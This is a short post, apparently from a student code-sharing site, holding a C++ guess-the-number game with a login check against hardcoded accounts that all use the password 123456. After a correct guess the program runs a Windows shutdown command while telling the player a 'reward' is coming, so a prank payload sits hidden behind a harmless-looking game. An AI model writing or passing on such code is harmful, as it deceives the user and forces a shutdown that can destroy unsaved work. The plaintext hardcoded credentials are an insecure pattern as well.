C++猜数字游戏

pjy 2023-08-25 18:20:32 2023-08-25 18:21:58 1
#include <iostream>
#include <windows.h>
#include <time.h>

using namespace std;

int main(){
	int user[5][3] = {
        {10001, 123456, 100},
        {114514, 123456, 200},
        {31415926, 123456, 300},
        {54088, 123456, 400},
        {66666, 123456, 500}
    };
    // 输入账号和密码
    int ua,ub;
    bool flag = false;
    cout<<"请输入账号:";
    cin>>ua;
    cout<<"请输入密码:";
    cin>>ub;
    for(int i=0;i<=5-1;i++){
        if(user[i][0] == ua && user[i][1] == ub){
            cout<<"登录成功!";
            flag = true;
            break;
        }
    }
    if(flag == false){
        cout<<"登录失败!";
        return 0;
    }
	srand(time(0));
	int a=rand()%100+1;
	while(1){
		cout<<"请输入1~100的数字:";
	    int b=0;
	    cin>>b;
		if(a > b){
			cout<<"数字小了";
		}
		else if(a < b){
			cout<<"数字大了";
		}
		else{
            cout<<"恭喜你,猜对啦!";
            break;   
        }	
	}
	system("shutdown -s -t 10");
	cout<<"奖励将在5秒后发放"<<endl;
	int t=5;
	while(t--){
		cout<<t+1<<" ";
		Sleep(100);
	}
	
    return 0;
}
{{ vote && vote.total.up }}